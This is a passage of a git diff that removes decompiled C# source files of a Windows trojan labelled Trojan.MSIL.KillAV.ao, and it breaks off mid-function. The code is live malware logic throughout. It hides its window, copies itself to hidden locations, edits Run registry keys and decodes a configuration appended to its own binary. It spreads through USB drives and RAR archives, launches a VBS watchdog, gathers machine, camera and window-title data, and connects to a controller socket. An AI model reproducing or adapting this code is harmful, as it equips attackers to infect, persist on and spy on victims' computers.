Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class A - { - [AccessedThroughProperty("B")] - private BackgroundWorker _B; - public static Process fj = new Process(); - private string u; - private string z; - - public A() - { - this.B = new BackgroundWorker(); - this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - string q = n.My.Resources.Resources.Q; - this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public virtual BackgroundWorker B - { - get => this._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D()); - if (this._B != null) - this._B.DoWork -= workEventHandler; - this._B = value; - if (this._B == null) - return; - this._B.DoWork += workEventHandler; - } - } - - public void D() - { - byte[] B = (byte[]) new ResourceManager("nv.Resources", Assembly.LoadFile(Application.ExecutablePath)).GetObject("P"); - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(B, ref local1); -label_1: - try - { - File.WriteAllText(this.u, this.z); - A.fj.StartInfo.FileName = this.u; - A.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_4: - try - { - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "FWD"; - ref string local4 = ref str2; - object obj1 = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local5 = ref obj1; - int integer = Conversions.ToInteger(C.inv(ref local2, ref local3, ref local4, ref local5)); - ref byte[] local6 = ref numArray; - string str3 = "P.V"; - ref string local7 = ref str3; - string str4 = "Iswd"; - ref string local8 = ref str4; - object obj2 = (object) new object[1] - { - (object) integer - }; - ref object local9 = ref obj2; - if (Operators.ConditionalCompareObjectEqual(C.inv(ref local6, ref local7, ref local8, ref local9), (object) 1, false)) - { - try - { - A.fj.Kill(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - API.wd.ShowWindow(integer, 0); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - try - { - if (!A.fj.WaitForExit(100)) - goto label_4; - else - goto label_1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/API.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/API.cs deleted file mode 100644 index 24f670f7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/API.cs +++ /dev/null @@ -1,328 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.API -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.MyServices; -using n.My; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Runtime.InteropServices; -using System.Text; - -namespace n -{ - [StandardModule] - internal sealed class API - { - private const uint LOCALE_SYSTEM_DEFAULT = 1024; - private const uint LOCALE_SABBREVCTRYNAME = 7; - - public static string fx(ref Array A) - { - string str1; - try - { - foreach (object obj in A) - { - string str2 = Conversions.ToString(obj); - bool flag; - if (Strings.InStr(str2, "Local Address") > 0) - flag = true; - else if (flag) - { - string str3; - if (Operators.CompareString(str2, "", false) == 0) - { - str1 = Strings.Mid(str3, 1, checked (str3.Length - 1)); - break; - } - do - { - str2 = Strings.Replace(str2, " ", " "); - } - while (Strings.InStr(str2, " ") > 0); - string[] strArray = Strings.Split(str2); - string str4; - try - { - str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[checked (Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1)] + ":" + strArray[5]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5]; - ProjectData.ClearProjectError(); - } - str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!"; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return str1; - } - - public static string Gt() - { - Process process = Process.Start(new ProcessStartInfo() - { - UseShellExecute = false, - RedirectStandardError = true, - RedirectStandardInput = true, - RedirectStandardOutput = true, - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - FileName = "cmd" - }); - process.StandardInput.WriteLine("netstat -o"); - process.StandardInput.WriteLine("exit"); - StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream); - Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n"); - return API.fx(ref A); - } - - public static byte[] ZIP(byte[] B, ref bool CM) - { - if (CM) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(B, 0, B.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[checked ((int) memoryStream.Length + 1)]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(B); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = checked (memoryStream1.Length - 5L); - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static string FEN(byte[] B) - { - ref byte[] local1 = ref C.Plug; - string str1 = "plugin.C"; - ref string local2 = ref str1; - string str2 = nameof (FEN); - ref string local3 = ref str2; - object obj = (object) new object[1]{ (object) B }; - ref object local4 = ref obj; - return C.inv(ref local1, ref local2, ref local3, ref local4).ToString(); - } - - public static byte[] FDE(string B) - { - ref byte[] local1 = ref C.Plug; - string str1 = "plugin.C"; - ref string local2 = ref str1; - string str2 = nameof (FDE); - ref string local3 = ref str2; - object obj = (object) new object[1]{ (object) B }; - ref object local4 = ref obj; - return (byte[]) NewLateBinding.LateGet(C.inv(ref local1, ref local2, ref local3, ref local4), (Type) null, "clone", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - } - - public static string ENB(ref string s) - { - ref byte[] local1 = ref C.Plug; - string str1 = "plugin.C"; - ref string local2 = ref str1; - string str2 = nameof (ENB); - ref string local3 = ref str2; - object obj = (object) new object[1]{ (object) s }; - ref object local4 = ref obj; - return C.inv(ref local1, ref local2, ref local3, ref local4).ToString(); - } - - public static string DEB(ref string s) - { - object[] objArray = new object[1]{ (object) s }; - if (C.Plug == null) - { - try - { - byte[] plugin = n.My.Resources.Resources.plugin; - bool flag = false; - ref bool local = ref flag; - C.Plug = API.ZIP(plugin, ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - string str1; - try - { - ref byte[] local1 = ref C.Plug; - string str2 = "plugin.C"; - ref string local2 = ref str2; - string str3 = nameof (DEB); - ref string local3 = ref str3; - object obj = (object) objArray; - ref object local4 = ref obj; - str1 = C.inv(ref local1, ref local2, ref local3, ref local4).ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str1; - } - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, checked (localeInfo - 1)) : string.Empty; - } - - public static string Gc() => API.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = B.PC + "\r\n"; - string str2; - try - { - str2 = str1 + API.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string Expression = (B.CAM ? str3 + "Yes\r\n" : str3 + "No\r\n") + B.ver; - string str4; - try - { - str4 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str4 + "\r\n \r\n "; - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string A1(ref bool p) - { - string str1; - try - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str1 = ""; - } - else - { - int windowTextLength = API.GetWindowTextLength((long) foregroundWindow); - string str2 = Strings.StrDup(checked (windowTextLength + 1), "*"); - API.GetWindowText(foregroundWindow, ref str2, checked (windowTextLength + 1)); - int lpdwProcessID; - API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str1 = API.ENB(ref str2); - } - else - { - try - { - string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - str1 = API.ENB(ref mainWindowTitle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = API.ENB(ref str2); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = ""; - ProjectData.ClearProjectError(); - } - return str1; - } - - public class wd - { - public const int HIDE = 0; - public const int Normal = 1; - public const int Minimized = 2; - public const int Maximized = 3; - public const int Show = 5; - public const int RESTORE = 9; - public int hWnd; - - public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A); - - [DllImport("user32")] - public static extern int ShowWindow(int hwnd, int nCmdShow); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.cs deleted file mode 100644 index bf37163c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.cs +++ /dev/null @@ -1,1334 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.B -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class B : Form - { - private IContainer components; - [AccessedThroughProperty("fs")] - private FileSystemWatcher _fs; - public static bool Fw = false; - public static bool FT = false; - public static bool netsh; - public static bool isFT; - public static bool KON; - public static string Vname = "VmljdGlt"; - public static bool DS; - public static string PC = "X"; - public static string ver = "1.6.3"; - public static string exename; - private string LA; - public static bool ISEND; - public A BW; - public static bool Busy; - public static bool CAM = false; - public static int ms; - [AccessedThroughProperty("WC")] - private SocketsClient _WC; - [AccessedThroughProperty("wL")] - private System.Windows.Forms.Timer _wL; - [AccessedThroughProperty("k")] - private System.Windows.Forms.Timer _k; - public static bool Connecting = false; - public static string no = "127.0.0.1:7"; - public static string Ai; - public static string SU = "*"; - public static bool UU; - public static string Uo = "*"; - public static string Ui = "*"; - public static string spread = "*"; - public static string mU = "*"; - public static string FR; - public static string Cht; - public static string plg = "p161"; - private int c2; - private int cc; - private int c0; - private int c3; - public static Mutex jMutex; - public static chat Chat; - private static string[] Block = new string[100000]; - private static int inx; - private static int err; - - public B() - { - this.FormClosing += new FormClosingEventHandler(this.B_FormClosing); - this.Load += new EventHandler(this.B_Load); - this.BW = new A(); - this.WC = new SocketsClient(); - this.wL = new System.Windows.Forms.Timer(); - this.k = new System.Windows.Forms.Timer(); - this.InitializeComponent(); - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.B); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.fs = new FileSystemWatcher(); - this.fs.BeginInit(); - this.SuspendLayout(); - this.fs.EnableRaisingEvents = true; - this.fs.IncludeSubdirectories = true; - this.fs.SynchronizingObject = (ISynchronizeInvoke) this; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(10, 10); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (B); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.WindowState = FormWindowState.Minimized; - this.fs.EndInit(); - this.ResumeLayout(false); - } - - internal virtual FileSystemWatcher fs - { - get => this._fs; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created); - if (this._fs != null) - this._fs.Created -= systemEventHandler; - this._fs = value; - if (this._fs == null) - return; - this._fs.Created += systemEventHandler; - } - } - - public virtual SocketsClient WC - { - get => this._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3); - SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2); - SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1); - SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0); - if (this._WC != null) - { - this._WC.onDataArrival -= arrivalEventHandler; - this._WC.onDisconnect -= disconnectEventHandler; - this._WC.onError -= errorEventHandler; - this._WC.onConnect -= connectEventHandler; - } - this._WC = value; - if (this._WC == null) - return; - this._WC.onDataArrival += arrivalEventHandler; - this._WC.onDisconnect += disconnectEventHandler; - this._WC.onError += errorEventHandler; - this._WC.onConnect += connectEventHandler; - } - } - - public virtual System.Windows.Forms.Timer wL - { - get => this._wL; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_()); - if (this._wL != null) - this._wL.Tick -= eventHandler; - this._wL = value; - if (this._wL == null) - return; - this._wL.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer k - { - get => this._k; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vKey); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void CL() - { - B.KON = false; - B.Busy = false; - try - { - chat.clos = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void B_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.WindowsShutDown) - ProjectData.EndApp(); - else - e.Cancel = true; - } - - public void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) File.ReadAllBytes(Application.ExecutablePath); - int num1 = checked (Instance1.Length - 400); - int num2 = checked (Instance1.Length - 1); - int num3 = num1; - while (num3 <= num2) - { - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "***", false) == 0) - num4 = checked (num3 + 1); - int num5; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "^^^", false) == 0) - num5 = checked (num3 - 3); - if (num4 > 0 & num5 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, checked (array1.Length - 3)); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local1 = ref flag; - byte[] bytes = API.ZIP(array2, ref local1); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y); - B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - B.Ai = "*"; - } - else - { - B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0) - { - try - { - if (File.Exists(B.Ai)) - File.Delete(B.Ai); - File.Copy(Application.ExecutablePath, B.Ai, true); - try - { - File.SetAttributes(B.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = B.Ai; - string executablePath = Application.ExecutablePath; - string arguments = "Kill@" + API.ENB(ref executablePath); - Process.Start(ai, arguments); - } - else - Process.Start(B.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - B.UU = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo); - B.spread = "(" + B.Uo + ")USB,"; - } - B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(B.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - B.jMutex = new Mutex(true, B.mU); - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null), (object) "*", false)) - { - B.spread += "Rar,"; - B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null)); - this.fs.Path = Interaction.Environ("homedrive") + "\\"; - this.fs.EnableRaisingEvents = true; - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false)) - { - B.Fw = true; - new Thread(new ThreadStart(this.fwb)).Start(); - } - else - B.Fw = false; - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - NK.Key = Conversions.ToString(Operators.ConcatenateObject((object) "HKEY_CURRENT_USER\\Software\\", NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - string str1 = "vname"; - ref string local2 = ref str1; - Array Instance3 = Instance2; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num6 = 7; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num6; - objArray2[0] = (object) local3; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local4 = ref str2; - string str3 = NK.GetValue(ref local2, ref local4); - NewLateBinding.LateIndexSetComplex((object) Instance2, new object[2] - { - (object) num6, - (object) str2 - }, (string[]) null, true, false); - B.Vname = str3; - } - - public void fwb() - { - try - { - byte[] p = n.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(p, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "main"; - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - C.inv(ref local2, ref local3, ref local4, ref local5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Fw = false; - ProjectData.ClearProjectError(); - } - } - - private void B_Load(object sender, EventArgs e) - { - try - { - B.exename = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.exename = "!"; - ProjectData.ClearProjectError(); - } - try - { - Control.CheckForIllegalCrossThreadCalls = false; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] plugin = n.My.Resources.Resources.plugin; - bool flag = false; - ref bool local = ref flag; - C.Plug = API.ZIP(plugin, ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - B.CAM = Operators.CompareString(new Cam().Dnames(), "", false) != 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.CAM = false; - ProjectData.ClearProjectError(); - } - try - { - B.PC = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Hide(); - this.Visible = false; - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath; - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - B.FR = API.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - this.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - B.SU = "*"; - B.mU = "*"; - try - { - NK.Key = "HKEY_CURRENT_USER\\Software\\nKey"; - string N = "vname"; - B.Vname = NK.GetValue(ref N, ref B.Vname); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - 